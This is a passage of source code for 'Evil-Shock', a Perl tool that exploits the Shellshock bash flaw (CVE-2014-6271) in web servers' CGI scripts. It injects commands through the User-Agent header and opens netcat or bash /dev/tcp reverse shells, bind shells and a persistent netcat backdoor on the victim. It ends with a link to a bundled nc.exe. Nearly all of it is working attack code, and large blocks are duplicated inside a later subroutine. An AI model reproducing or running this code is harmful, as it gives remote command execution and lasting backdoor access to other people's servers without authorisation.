the port to reverse / bind to when injecting a shell.\n"; 65 | print "\n"; 66 | print " -only-inject : Will check for Inject Points only.\n"; 67 | print "\n"; 68 | print " -inject= : Evil-Shock will inject the following command into the victim.\n"; 69 | print "\n"; 70 | print " -user-agent= : Will set a specific user-agent from the user.\n"; 71 | print "\n"; 72 | print " -srv-persistent : Will inject a persistent backdoor into the victim.\n"; 73 | print "\n"; 74 | exit(0); 75 | } 76 | $injectionFound = "no"; 77 | $url = URI->new( "$target" ); 78 | $domain = $url->host; 79 | use HTML::Parse; 80 | 81 | sub InjectCommand{ 82 | print "[+] Injecting command ($InjString) .... \n"; 83 | $url = "$target"; 84 | $ua = new LWP::UserAgent; 85 | $ua->agent("$Inject; $InjString'"); 86 | $ua->timeout(15); 87 | $request = HTTP::Request->new('GET'); 88 | $request->url($url); 89 | $response = $ua->request($request); 90 | $code = $response->code; 91 | $headers = $response->headers_as_string; 92 | $body = $response->content; 93 | print "[+] Injected, printing responce: \n"; 94 | print "$body \n"; 95 | print " \n"; 96 | print "[+] That was the responce of the server, check for your command output or try another command. \n"; 97 | print " \n"; 98 | exit(0); 99 | } 100 | 101 | 102 | 103 | sub RevShell{ 104 | print "[!] What is the IP to bind to: "; 105 | chop($bip = ); 106 | print "[!] What is the port to bind to: "; 107 | chop($bport = ); 108 | print "[+] Would you like to open a netcat reverse shell or a bash reverse shell? (n/b): "; 109 | chop($nb = ); 110 | if($nb eq 'n'){ 111 | print "[+] Netcat Reverse Shell Selected ...\n"; 112 | $userAgent2Backdoor = $ua->agent("$Inject; nc $bip $bport -e /bin/sh'"); 113 | } else { 114 | print "[+] Bash Reverse Shell Selected ...\n"; 115 | $userAgent2Backdoor = $ua->agent("$Inject; bash -i >& /dev/tcp/$bip/$bport 0>&1'"); 116 | } 117 | sub Bind2Shell{ 118 | $url = "$target"; 119 | $ua = new LWP::UserAgent; 120 | $userAgent2Backdoor; 121 | $request = HTTP::Request->new('GET'); 122 | $request->url($url); 123 | $response = $ua->request($request); 124 | $code = $response->code; 125 | $headers = $response->headers_as_string; 126 | $body = $response->content; 127 | } 128 | $iaddr = inet_aton("$domain"); 129 | $foo = "$iaddr"; 130 | $foolen = length $foo; 131 | print "\n[!] IP Lenght: $foolen\n"; 132 | if($foolen eq '0'){ 133 | print "[!] Could not auto-detect IP!\n"; 134 | print "> IP Of $domain :> \n"; 135 | chop($ip = ); 136 | } else { 137 | $iaddr = inet_aton("$domain"); 138 | $name = gethostbyaddr($iaddr, AF_INET); 139 | $straddr = inet_ntoa($iaddr); 140 | $ip = $straddr; 141 | } 142 | print "\n[+] IP Of $domain: $ip\n"; 143 | print "[+] Reverse Shell was successfully injected! \n"; 144 | print "->SESSION SHELL INJECTED: $bip:$bport \n"; 145 | print "[+] Auto-Exploiting target ... \n"; 146 | print "\n\n \n"; 147 | print "[+] Listening ...\n"; 148 | print "[+] When Connected, you should be able to execute remote command now! (Closing the window or the script will end the reverse shell except if '--srv-persistent' was selected in command-line): \n"; 149 | Bind2Shell(); 150 | system("nc -lvp $bport"); 151 | } 152 | 153 | 154 | sub BindShell{ 155 | $srv = ""; 156 | $url = "$target"; 157 | $ua = new LWP::UserAgent; 158 | if($pertsrv eq 1){ $srv = "-k "; } 159 | $ua->agent("$Inject; nc -l $srv-p $rport -e /bin/sh'"); 160 | $ua->timeout(15); 161 | $request = HTTP::Request->new('GET'); 162 | $request->url($url); 163 | $response = $ua->request($request); 164 | $code = $response->code; 165 | $headers = $response->headers_as_string; 166 | $body = $response->content; 167 | $iaddr = inet_aton("$domain"); 168 | $foo = "$iaddr"; 169 | $foolen = length $foo; 170 | print "[!] IP Lenght: $foolen\n"; 171 | if($foolen eq '0'){ 172 | print "{!} Could not auto-detect IP!\n"; 173 | print "> IP Of $domain :> \n"; 174 | chop($ip = ); 175 | } else { 176 | $iaddr = inet_aton("$domain"); 177 | $name = gethostbyaddr($iaddr, AF_INET); 178 | $straddr = inet_ntoa($iaddr); 179 | $ip = $straddr; 180 | } 181 | if($pertsrv eq 1){ 182 | print "[+] PERSISTENT BACKDOOR WARNING [+]\n"; 183 | print "[+] The persistent backdoor will not be executed at the start up, only if the process is still alive and the machine on.\n"; 184 | print "[+] By default netcat will end the backdoor when we first got connected and exit.\n"; 185 | print "[+] But Evil-Shock has made netcat to not end the connection even if we exit the session!\n"; 186 | print "[!] So you can connect at anytime doing: $ip $rport\n"; 187 | print "\n"; 188 | print "\n"; 189 | print "\n"; 190 | 191 | } 192 | print "\n[+] IP Of $domain: $ip\n"; 193 | print "[+] Reverse Shell was successfully injected! \n"; 194 | print "->SESSION SHELL INJECTED: $ip:$rport \n"; 195 | print "[+] Auto-Exploiting target ... \n"; 196 | print "\n\n \n"; 197 | print "[+] Connecting...\n"; 198 | print "[+] Connected!, should be able to execute remote command now! (Closing the window or the script will end the bind shell): \n"; 199 | system("nc $ip $rport") 200 | } 201 | 202 | 203 | sub InjCorrect{ 204 | if($injectionFound eq 'yes'){ 205 | if(defined $InjString || $InjString != ''){ 206 | InjectCommand(); 207 | } 208 | print "[+] Injection Point Found!!! \n"; 209 | print "Injection Point: $InjectPoint \n"; 210 | if($revshell eq 'reverse'){ 211 | print "\n[!] Getting Reverse Shell! ... \n"; 212 | RevShell(); 213 | } elsif ($revshell eq 'bind'){ 214 | print "\n[!] Getting Bind Shell! ... \n"; 215 | BindShell(); 216 | } 217 | } 218 | } 219 | 220 | sub InfoGrabber{ 221 | print "\n[+] Grabbing Basic Infos ...\n"; 222 | if($userAg eq '' | not defined $userAg){ 223 | $userAg = "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/22.0.141836113 Mobile/14D27 Safari/600.1.4"; 224 | print "[+] User Agent Set To Default: $userAg\n"; 225 | } else { 226 | print "[+] Custom User Agent: $userAg \n"; 227 | } 228 | $url = "$target"; 229 | $ua = new LWP::UserAgent; 230 | $ua->agent("$userAg"); 231 | $ua->timeout(15); 232 | $request = HTTP::Request->new('GET'); 233 | $request->url($url); 234 | $response = $ua->request($request); 235 | $code = $response->code; 236 | $headers = $response->headers_as_string; 237 | $body = $response->content; 238 | if($body =~ /Server: \s*(.+)$/ || $body =~ /server: \s*(.+)$/){ 239 | $server = $1; 240 | print "[+] Server Found: $server\n"; 241 | if($server =~ /apache/){ 242 | print "[+] Seems like $domain is running an apache server, which increases our chance to hack in! \n"; 243 | } 244 | } else { 245 | print "[-] Server Not Found. \n"; 246 | } 247 | print "\n"; 248 | NSLookupInject(); 249 | } 250 | 251 | 252 | sub NSLookupInject{ 253 | print "<{+++++++++++++ Testing For Injection Points +++++++++++++}>\n"; 254 | $url = "$target"; 255 | $ua = new LWP::UserAgent; 256 | $ua->agent("() { :;}; /bin/bash -c 'nslookup www.gooogle.com'"); 257 | $ua->timeout(15); 258 | $request = HTTP::Request->new('GET'); 259 | $request->url($url); 260 | $response = $ua->request($request); 261 | $code = $response->code; 262 | $headers = $response->headers_as_string; 263 | $body = $response->content; 264 | if($body =~ /Address 1/ || $body =~ /Address 2/ || $body =~ /Name:/){ 265 | print "[+] Shellshock nslookup Injection was injected successfully! (Vulnerable!) \n"; 266 | $injectionFound = "yes"; 267 | $InjectPoint = "() { :;}; /bin/bash -c 'nslookup www.google.com'"; 268 | print "INJECTION POINT-> $InjectPoint \n"; 269 | $Inject = "() { :;}; /bin/bash -c 'nslookup www.google.com"; 270 | $NSInj = "() { :;}; /bin/bash -c 'nslookup www.google.com'"; 271 | if($injectOnly eq 1){ 272 | print "\n"; 273 | LsInject(); 274 | } else { 275 | InjCorrect(); 276 | } 277 | } else { 278 | print "[-] Shellshock nslookup Injection was not injected successfully! (Not Vulnerable!) \n"; 279 | print "\n"; 280 | LsInject(); 281 | } 282 | } 283 | 284 | sub LsInject{ 285 | $url = "$target"; 286 | $ua = new LWP::UserAgent; 287 | $ua->agent("() { :;}; /bin/bash -c 'ls'"); 288 | $ua->timeout(15); 289 | $request = HTTP::Request->new('GET'); 290 | $request->url($url); 291 | $response = $ua->request($request); 292 | $code = $response->code; 293 | $headers = $response->headers_as_string; 294 | $body = $response->content; 295 | if($body != ''){ 296 | print "[+] Shellshock LS Injection was injected successfully! (Vulnerable!) \n"; 297 | $injectionFound = "yes"; 298 | $InjectPoint = "() { :;}; /bin/bash -c 'ls'"; 299 | print "INJECTION POINT-> $InjectPoint \n"; 300 | $Inject = "() { :;}; /bin/bash -c 'ls"; 301 | $lSInj = "() { :;}; /bin/bash -c 'ls'"; 302 | if($injectOnly eq 1){ 303 | print "\n"; 304 | EchoInject(); 305 | } else { 306 | InjCorrect(); 307 | } 308 | } else { 309 | print "[-] Shellshock LS Injection was not injected successfully! (Not Vulnerable!) \n"; 310 | print "\n"; 311 | EchoInject(); 312 | } 313 | } 314 | 315 | sub EchoInject{ 316 | $url = "$target"; 317 | $ua = new LWP::UserAgent; 318 | $ua->agent("() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'"); 319 | $ua->timeout(15); 320 | $request = HTTP::Request->new('GET'); 321 | $request->url($url); 322 | $response = $ua->request($request); 323 | $code = $response->code; 324 | $headers = $response->headers_as_string; 325 | $body = $response->content; 326 | if($body =~ /Shellshock is fun with ShockThatShell/){ 327 | print "[+] Shellshock Echo Injection was injected successfully! (Vulnerable!) \n"; 328 | $injectionFound = "yes"; 329 | $InjectPoint = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'"; 330 | print "INJECTION POINT-> $InjectPoint \n"; 331 | $Inject = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell"; 332 | $ECHOinj = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell"; 333 | if($injectOnly eq 1){ 334 | print "\n"; 335 | PingInject(); 336 | } else { 337 | InjCorrect(); 338 | } 339 | } else { 340 | print "[-] Shellshock Echo Injection was not injected successfully! (Not Vulnerable!) \n"; 341 | print "\n"; 342 | PingInject(); 343 | } 344 | } 345 | 346 | 347 | sub PingInject{ 348 | $url = "$target"; 349 | $ua = new LWP::UserAgent; 350 | $ua->agent("() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'"); 351 | $ua->timeout(15); 352 | $request = HTTP::Request->new('GET'); 353 | $request->url($url); 354 | $response = $ua->request($request); 355 | $code = $response->code; 356 | $headers = $response->headers_as_string; 357 | $body = $response->content; 358 | if($body =~ /--- 8.8.8.8 ping statistics ---/){ 359 | print "[+] Shellshock Ping Injection was injected successfully! (Vulnerable!) \n"; 360 | $injectionFound = "yes"; 361 | $InjectPoint = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'"; 362 | print "INJECTION POINT-> $InjectPoint \n"; 363 | $Inject = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8"; 364 | $PINGInj = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8"; 365 | if($injectOnly eq 1){ 366 | print "\n"; 367 | exit(0); 368 | } else { 369 | InjCorrect(); 370 | } 371 | } else { 372 | print "[-] Shellshock Ping Injection was not injected successfully! (Not Vulnerable!) \n"; 373 | } 374 | } 375 | 376 | InfoGrabber(); 377 | 378 | sub Win{ 379 | system("clear || cls"); 380 | print q{ 381 | 382 | 383 | 384 | 385 | ___________ ____ __ __ _______. __ __ ______ ______ __ ___ ___ zeeeeee 386 | | ____\ \ / / | | | | / || | | | / __ \ / || |/ / .-"; ! ;"-z$$$$$$" 387 | | |__ \ \/ / | | | | ______ | (----`| |__| | | | | | | ,----'| ' / .'! : | : d!$$$$$` 388 | | __| \ / | | | | |______| \ \ | __ | | | | | | | | < /\ ! : ! : $$$$$$\ 389 | | |____ \ / | | | `----. .----) | | | | | | `--' | | `----.| . \ /\ | ! :|: 4$$$$$$$$$$$$ 390 | |_______| \__/ |__| |_______| |_______/ |__| |__| \______/ \______||__|\__\ ( \ \ ; :!: z$$$$$$$$$$$$ 391 | VERSION 1.0.0 / CODED BY GHOSTY / DEADHACKS ( `. \ | !:|:!""""""3$$$$$ 392 | MULTI SHELLSHOCK(CVE-2014-6271) INJECTION (`. \ \ \!:|:!/ / /z$$$$$ 393 | REVERSE / BIND SHELL \ `.`.\ |!|! |/,'z$$$$P 394 | `._`.\\\!!!// .d$$$$$ 395 | `.`.\\|//.'.""$$$ 396 | |`._`n'_.'| $$ 397 | "----^----" $ 398 | ^ 399 | 400 | BETA - Coded By Ghosty 401 | STILL IN DEVELOPEMENT SO WONT HAVE MUCH BANNER AND DISPLAYING BUT SITLL WORKS! 402 | }; 403 | if($pertsrv eq "1"){ print "PERSISTENT \n"; } 404 | if($help eq '1'){ 405 | print "Commands And Arguments: \n"; 406 | print " -t= | -target= : Will set up the target, make sure to add the cgi-bin directory for example: -t=http://ShellShock.Site/cgi-bin/status\n"; 407 | print "\n"; 408 | print " -shell= : Will set the shell to use when injected in, this will take the control of the system and send you back a connection depending on the type of shell. \n"; 409 | print " Reverse = Evil-Shock will inject a netcat shell then listen for connections, then the victim will connect back to our listener. \n"; 410 | print " Bind = Evil-Shock will inject a netcat listener into the victim then connect / bind us to it.\n"; 411 | print "\n"; 412 | print " -p= |-port= : Will set the port to reverse / bind to when injecting a shell.\n"; 413 | print "\n"; 414 | print " -only-inject : Will check for Inject Points only.\n"; 415 | print "\n"; 416 | print " -inject= : Evil-Shock will inject the following command into the victim.\n"; 417 | print "\n"; 418 | print " -user-agent= : Will set a specific user-agent from the user.\n"; 419 | print "\n"; 420 | print " -srv-persistent : Will inject a persistent backdoor into the victim.\n"; 421 | print "\n"; 422 | exit(0); 423 | } 424 | $injectionFound = "no"; 425 | $url = URI->new( "$target" ); 426 | $domain = $url->host; 427 | use HTML::Parse; 428 | 429 | sub InjectCommand{ 430 | print "[+] Injecting command ($InjString) .... \n"; 431 | $url = "$target"; 432 | $ua = new LWP::UserAgent; 433 | $ua->agent("$Inject; $InjString'"); 434 | $ua->timeout(15); 435 | $request = HTTP::Request->new('GET'); 436 | $request->url($url); 437 | $response = $ua->request($request); 438 | $code = $response->code; 439 | $headers = $response->headers_as_string; 440 | $body = $response->content; 441 | print "[+] Injected, printing responce: \n"; 442 | print "$body \n"; 443 | print " \n"; 444 | print "[+] That was the responce of the server, check for your command output or try another command. \n"; 445 | print " \n"; 446 | exit(0); 447 | } 448 | 449 | 450 | 451 | sub RevShell{ 452 | print "[!] What is the IP to bind to: "; 453 | chop($bip = ); 454 | print "[!] What is the port to bind to: "; 455 | chop($bport = ); 456 | print "[+] Would you like to open a netcat reverse shell or a bash reverse shell? (n/b): "; 457 | chop($nb = ); 458 | if($nb eq 'n'){ 459 | print "[+] Netcat Reverse Shell Selected ...\n"; 460 | $userAgent2Backdoor = $ua->agent("$Inject; nc $bip $bport -e /bin/sh'"); 461 | } else { 462 | print "[+] Bash Reverse Shell Selected ...\n"; 463 | $userAgent2Backdoor = $ua->agent("$Inject; bash -i >& /dev/tcp/$bip/$bport 0>&1'"); 464 | } 465 | sub Bind2Shell{ 466 | $url = "$target"; 467 | $ua = new LWP::UserAgent; 468 | $userAgent2Backdoor; 469 | $request = HTTP::Request->new('GET'); 470 | $request->url($url); 471 | $response = $ua->request($request); 472 | $code = $response->code; 473 | $headers = $response->headers_as_string; 474 | $body = $response->content; 475 | } 476 | $iaddr = inet_aton("$domain"); 477 | $foo = "$iaddr"; 478 | $foolen = length $foo; 479 | print "\n[!] IP Lenght: $foolen\n"; 480 | if($foolen eq '0'){ 481 | print "[!] Could not auto-detect IP!\n"; 482 | print "> IP Of $domain :> \n"; 483 | chop($ip = ); 484 | } else { 485 | $iaddr = inet_aton("$domain"); 486 | $name = gethostbyaddr($iaddr, AF_INET); 487 | $straddr = inet_ntoa($iaddr); 488 | $ip = $straddr; 489 | } 490 | print "\n[+] IP Of $domain: $ip\n"; 491 | print "[+] Reverse Shell was successfully injected! \n"; 492 | print "->SESSION SHELL INJECTED: $bip:$bport \n"; 493 | print "[+] Auto-Exploiting target ... \n"; 494 | print "\n\n \n"; 495 | print "[+] Listening ...\n"; 496 | print "[+] When Connected, you should be able to execute remote command now! (Closing the window or the script will end the reverse shell except if '--srv-persistent' was selected in command-line): \n"; 497 | Bind2Shell(); 498 | system("nc.exe -lvp $bport"); 499 | } 500 | 501 | 502 | sub BindShell{ 503 | $srv = ""; 504 | $url = "$target"; 505 | $ua = new LWP::UserAgent; 506 | if($pertsrv eq 1){ $srv = "-k "; } 507 | $ua->agent("$Inject; nc -l $srv-p $rport -e /bin/sh'"); 508 | $ua->timeout(15); 509 | $request = HTTP::Request->new('GET'); 510 | $request->url($url); 511 | $response = $ua->request($request); 512 | $code = $response->code; 513 | $headers = $response->headers_as_string; 514 | $body = $response->content; 515 | $iaddr = inet_aton("$domain"); 516 | $foo = "$iaddr"; 517 | $foolen = length $foo; 518 | print "[!] IP Lenght: $foolen\n"; 519 | if($foolen eq '0'){ 520 | print "{!} Could not auto-detect IP!\n"; 521 | print "> IP Of $domain :> \n"; 522 | chop($ip = ); 523 | } else { 524 | $iaddr = inet_aton("$domain"); 525 | $name = gethostbyaddr($iaddr, AF_INET); 526 | $straddr = inet_ntoa($iaddr); 527 | $ip = $straddr; 528 | } 529 | if($pertsrv eq 1){ 530 | print "[+] PERSISTENT BACKDOOR WARNING [+]\n"; 531 | print "[+] The persistent backdoor will not be executed at the start up, only if the process is still alive and the machine on.\n"; 532 | print "[+] By default netcat will end the backdoor when we first got connected and exit.\n"; 533 | print "[+] But Evil-Shock has made netcat to not end the connection even if we exit the session!\n"; 534 | print "[!] So you can connect at anytime doing: $ip $rport\n"; 535 | print "\n"; 536 | print "\n"; 537 | print "\n"; 538 | 539 | } 540 | print "\n[+] IP Of $domain: $ip\n"; 541 | print "[+] Reverse Shell was successfully injected! \n"; 542 | print "->SESSION SHELL INJECTED: $ip:$rport \n"; 543 | print "[+] Auto-Exploiting target ... \n"; 544 | print "\n\n \n"; 545 | print "[+] Connecting...\n"; 546 | print "[+] Connected!, should be able to execute remote command now! (Closing the window or the script will end the bind shell): \n"; 547 | system("cd nc && nc.exe $ip $rport") 548 | } 549 | 550 | 551 | sub InjCorrect{ 552 | if($injectionFound eq 'yes'){ 553 | if(defined $InjString || $InjString != ''){ 554 | InjectCommand(); 555 | } 556 | print "[+] Injection Point Found!!! \n"; 557 | print "Injection Point: $InjectPoint \n"; 558 | if($revshell eq 'reverse'){ 559 | print "\n[!] Getting Reverse Shell! ... \n"; 560 | RevShell(); 561 | } elsif ($revshell eq 'bind'){ 562 | print "\n[!] Getting Bind Shell! ... \n"; 563 | BindShell(); 564 | } 565 | } 566 | } 567 | 568 | sub InfoGrabber{ 569 | print "\n[+] Grabbing Basic Infos ...\n"; 570 | if($userAg eq '' | not defined $userAg){ 571 | $userAg = "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/22.0.141836113 Mobile/14D27 Safari/600.1.4"; 572 | print "[+] User Agent Set To Default: $userAg\n"; 573 | } else { 574 | print "[+] Custom User Agent: $userAg \n"; 575 | } 576 | $url = "$target"; 577 | $ua = new LWP::UserAgent; 578 | $ua->agent("$userAg"); 579 | $ua->timeout(15); 580 | $request = HTTP::Request->new('GET'); 581 | $request->url($url); 582 | $response = $ua->request($request); 583 | $code = $response->code; 584 | $headers = $response->headers_as_string; 585 | $body = $response->content; 586 | if($body =~ /Server: \s*(.+)$/ || $body =~ /server: \s*(.+)$/){ 587 | $server = $1; 588 | print "[+] Server Found: $server\n"; 589 | if($server =~ /apache/){ 590 | print "[+] Seems like $domain is running an apache server, which increases our chance to hack in! \n"; 591 | } 592 | } else { 593 | print "[-] Server Not Found. \n"; 594 | } 595 | print "\n"; 596 | NSLookupInject(); 597 | } 598 | 599 | 600 | sub NSLookupInject{ 601 | print "<{+++++++++++++ Testing For Injection Points +++++++++++++}>\n"; 602 | $url = "$target"; 603 | $ua = new LWP::UserAgent; 604 | $ua->agent("() { :;}; /bin/bash -c 'nslookup www.gooogle.com'"); 605 | $ua->timeout(15); 606 | $request = HTTP::Request->new('GET'); 607 | $request->url($url); 608 | $response = $ua->request($request); 609 | $code = $response->code; 610 | $headers = $response->headers_as_string; 611 | $body = $response->content; 612 | if($body =~ /Address 1/ || $body =~ /Address 2/ || $body =~ /Name:/){ 613 | print "[+] Shellshock nslookup Injection was injected successfully! (Vulnerable!) \n"; 614 | $injectionFound = "yes"; 615 | $InjectPoint = "() { :;}; /bin/bash -c 'nslookup www.google.com'"; 616 | print "INJECTION POINT-> $InjectPoint \n"; 617 | $Inject = "() { :;}; /bin/bash -c 'nslookup www.google.com"; 618 | $NSInj = "() { :;}; /bin/bash -c 'nslookup www.google.com'"; 619 | if($injectOnly eq 1){ 620 | print "\n"; 621 | LsInject(); 622 | } else { 623 | InjCorrect(); 624 | } 625 | } else { 626 | print "[-] Shellshock nslookup Injection was not injected successfully! (Not Vulnerable!) \n"; 627 | print "\n"; 628 | LsInject(); 629 | } 630 | } 631 | 632 | sub LsInject{ 633 | $url = "$target"; 634 | $ua = new LWP::UserAgent; 635 | $ua->agent("() { :;}; /bin/bash -c 'ls'"); 636 | $ua->timeout(15); 637 | $request = HTTP::Request->new('GET'); 638 | $request->url($url); 639 | $response = $ua->request($request); 640 | $code = $response->code; 641 | $headers = $response->headers_as_string; 642 | $body = $response->content; 643 | if($body != ''){ 644 | print "[+] Shellshock LS Injection was injected successfully! (Vulnerable!) \n"; 645 | $injectionFound = "yes"; 646 | $InjectPoint = "() { :;}; /bin/bash -c 'ls'"; 647 | print "INJECTION POINT-> $InjectPoint \n"; 648 | $Inject = "() { :;}; /bin/bash -c 'ls"; 649 | $lSInj = "() { :;}; /bin/bash -c 'ls'"; 650 | if($injectOnly eq 1){ 651 | print "\n"; 652 | EchoInject(); 653 | } else { 654 | InjCorrect(); 655 | } 656 | } else { 657 | print "[-] Shellshock LS Injection was not injected successfully! (Not Vulnerable!) \n"; 658 | print "\n"; 659 | EchoInject(); 660 | } 661 | } 662 | 663 | sub EchoInject{ 664 | $url = "$target"; 665 | $ua = new LWP::UserAgent; 666 | $ua->agent("() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'"); 667 | $ua->timeout(15); 668 | $request = HTTP::Request->new('GET'); 669 | $request->url($url); 670 | $response = $ua->request($request); 671 | $code = $response->code; 672 | $headers = $response->headers_as_string; 673 | $body = $response->content; 674 | if($body =~ /Shellshock is fun with ShockThatShell/){ 675 | print "[+] Shellshock Echo Injection was injected successfully! (Vulnerable!) \n"; 676 | $injectionFound = "yes"; 677 | $InjectPoint = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'"; 678 | print "INJECTION POINT-> $InjectPoint \n"; 679 | $Inject = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell"; 680 | $ECHOinj = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell"; 681 | if($injectOnly eq 1){ 682 | print "\n"; 683 | PingInject(); 684 | } else { 685 | InjCorrect(); 686 | } 687 | } else { 688 | print "[-] Shellshock Echo Injection was not injected successfully! (Not Vulnerable!) \n"; 689 | print "\n"; 690 | PingInject(); 691 | } 692 | } 693 | 694 | 695 | sub PingInject{ 696 | $url = "$target"; 697 | $ua = new LWP::UserAgent; 698 | $ua->agent("() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'"); 699 | $ua->timeout(15); 700 | $request = HTTP::Request->new('GET'); 701 | $request->url($url); 702 | $response = $ua->request($request); 703 | $code = $response->code; 704 | $headers = $response->headers_as_string; 705 | $body = $response->content; 706 | if($body =~ /--- 8.8.8.8 ping statistics ---/){ 707 | print "[+] Shellshock Ping Injection was injected successfully! (Vulnerable!) \n"; 708 | $injectionFound = "yes"; 709 | $InjectPoint = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'"; 710 | print "INJECTION POINT-> $InjectPoint \n"; 711 | $Inject = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8"; 712 | $PINGInj = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8"; 713 | if($injectOnly eq 1){ 714 | print "\n"; 715 | exit(0); 716 | } else { 717 | InjCorrect(); 718 | } 719 | } else { 720 | print "[-] Shellshock Ping Injection was not injected successfully! (Not Vulnerable!) \n"; 721 | Failed(); 722 | exit(0); 723 | } 724 | } 725 | 726 | InfoGrabber(); 727 | } 728 | 729 | 730 | 731 | 732 | 733 | 734 | -------------------------------------------------------------------------------- /nc/nc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DeaDHackS/Evil-Shock/d546e2ff869e4cf4001a35a730563b1c47658a6b/nc/nc.exe --------------------------------------------------------------------------------